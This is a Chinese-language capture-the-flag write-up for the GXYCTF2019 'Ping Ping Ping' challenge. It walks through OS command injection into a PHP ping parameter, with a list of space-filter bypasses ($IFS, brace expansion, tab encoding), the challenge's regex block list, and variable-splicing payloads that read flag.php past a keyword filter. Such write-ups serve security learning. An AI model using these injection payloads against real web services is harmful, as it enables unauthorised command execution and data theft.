当前位置: 首页 > web >正文

[GXYCTF2019]Ping Ping Ping

解题步骤

  • 1、先使用 内敛执行 查看当前的php文件

  • 执行 命令执行 发现空格被过滤 ?ip=127.0.0.1$IFS|$IFSwhomi

  • 还有一个点就是这个 执行的命令是不能进行拼接的 可能就是被过滤了 | 所以我们使用 ; 进行绕过一下
  • 空格过滤代替
    $IFS
    ${IFS}
    ${IFS}$9 //这里$1到$9都可以
    $IFS$1 //这里$1到$9都可以
    <
    <>
    {cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
    %20 (space) //在shell中无法直接使用%20代替空格,但是在URL编码中可以尝试,tab同理
    %09 (tab)
    ?ip=127.0.0.1;cat$IFS`ls`
    内敛执行 : cat`ls` 就是查看 ls 执行结果的内容 这个其实就能执行拿下flag了

  • ctrl+u 查看源码

  • 升级 :

  • 代码审计
  • /?ip=
    |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ // | 拼接执行全部鸡鸡
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    //过滤特殊的符号 preg_match() 函数表示使用正则进行匹配
    die("fxck your symbol!");
    } else if(preg_match("/ /", $ip)){
    die("fxck your space!"); //过滤空格
    } else if(preg_match("/bash/", $ip)){ // 不能使用反弹命令 bash
    die("fxck your bash!");
    } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //发现 f l a g 都是被过滤的 那我们不能在后面写flag了
    die("fxck your flag!");
    }
    $a = shell_exec("ping -c 4 ".$ip);
    echo "
    ";
    print_r($a);
    }
    ?>

  • 这个我们需要使用变量拼接
  • 如这个 cat flag; 我们可以变为 X=fl;cat $Xag

  • ?ip=127.0.0.1;X=ag;$IFS$1cat$IFS$1fl$X.php
  • 这个变量拼接也是有说法的 多试一下
  • 如果 X=fl 不行就试一下 ag ,f, a等多试一下
  • 当然如果都不行就是试一下 ;a=f;b=l;c=a;d=g;cat$IFS$1$a$b$c$d.php
http://www.xdnf.cn/news/2361.html

相关文章:

  • Monorepo、Lerna、Yarn Workspaces、pnpm Workspaces 用法
  • 深入解析 npm 与 Yarn:Node.js 包管理工具对比与选型指南
  • 全栈量子跃迁:当Shor算法破解RSA时,我们如何用晶格密码重构数字世界的信任基岩?
  • MySQL:13.用户管理
  • Flutter 泛型 泛型方法 泛型类 泛型接口
  • HarmonyOS Next~鸿蒙系统UI创新实践:原生精致理念下的设计革命
  • flask uri 怎么统一加前缀
  • zynq7035的arm一秒钟最多可以支持触发多少次中断
  • 【合新通信】---Mini单路光模块(Mini SFF/USOT)
  • [Lc_week] 447 | 155 | Q1 | hash | pair {}调用
  • 【Linux网络】Http服务优化 - 增加请求后缀、状态码描述、重定向、自动跳转及注册多功能服务
  • 51单片机所有寄存器介绍
  • FFmpeg之三 录制音频并保存, API编解码从理论到实战
  • Linux红帽:RHCSA认证知识讲解(十 四)分区管理、交换分区,创建逻辑卷与调整逻辑卷的大小
  • Spark Streaming实时数据处理实战:从DStream基础到自定义数据源集成
  • FPGA基础之基础语法
  • Unreal Engine 实现智慧水库周边环境以及智慧社区模拟的实例
  • Flutter 学习之旅 之 flutter 有时候部分手机【TextField】无法唤起【输入法软键盘】的一些简单整理
  • LINUX的使用(2)- 安装软件
  • Comfy UI 笔记
  • Selenium自动化测试+OCR-获取图片页面小说
  • 入职学习记录-RT-thread实时操作系统_1
  • Android HAL HIDL
  • C语言:数据的存储
  • matplotlib画图工具使用(1) 画折线统计图python代码
  • 【教学类-102-19】蝴蝶三色图作品1——卡纸蝴蝶(滴颜料按压对称花纹)A4横版最大号22.85CM
  • 如何在学习通快速输入答案(网页版),其他学习平台通用,手机上快速粘贴
  • 时间序列成像之点对称模式(Symmetrized Dot Pattern,SDP)
  • 【2025 最新前沿 MCP 教程 04】通信渠道:理解 MCP 传输机制
  • ShenNiusModularity项目源码学习(22:ShenNius.Admin.Mvc项目分析-7)